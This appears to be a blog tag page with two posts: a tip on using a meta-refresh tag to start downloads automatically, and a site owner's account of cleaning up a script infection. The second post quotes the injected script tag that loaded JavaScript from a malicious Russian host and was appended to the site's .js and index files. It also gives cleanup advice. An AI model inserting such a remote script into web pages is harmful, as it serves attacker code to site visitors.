Posts Tagged ‘html’

SourceForge Style Download Page

To monitor downloads using google analytics, adwords conversion or other tools, it is much simpler to have a “Thanks for downloading” page. There are ways with Google Analytics to monitor downloads but a page view is much more simple to track.

What I call a “SourceForge style download page” is a web page where the download starts automatically once loaded. On this page you will usually find a “thank you” message along with a link to start the download if the automatic download doesn’t work.

This can be done using a <meta> tag like this:

<meta http-equiv=”refresh” content=”2; URL=http://www.somewhere.com/file.zip”>

The first parameter of the “content” attribute is the time in seconds before the download starts. The URL parameter of the “content” attribute is the URL of the file to download.

That’s simple you say! Of course it is but there are so many peoples suggesting over designed and complex solutions on the web that I decided to make this post for the glory of simplicity.

Sites Attacked by Script Virus

I found two of my sites infected by a virus. The following script was found at the end of all *.js, index*.html and index*.php files in my site:

<script type=”text/javascript” src=”http://pantscow.ru:8080/Vector_Graphic.js”></script>
<!–354d9b158e9c0f740d016556c9aa29ef–>

The domain name in the script changes almost every two days so it is not easy to find help on the web about that kind of threat.

First of all, change your FTP passwords and remove anonymous access if any. These attacks are made through FTP access most of the time.

Once the site secured, you have to fix the problem. In a Joomla or WordPress site, there are thousands of these files. It is impossible to change it all online so I downloaded a copy of the entire site on my drive and removed the script from all infected files using search/replace tools. I recommend TextPad for that.

When all infested files have been fixed, I uploaded all modified files to the site and the problem was gone. That took me almost 4 hours to figure out what happened and fix it. That is a lot of time for a production site.

I hope that could help someone out there. If you have any questions please write me in the comment section.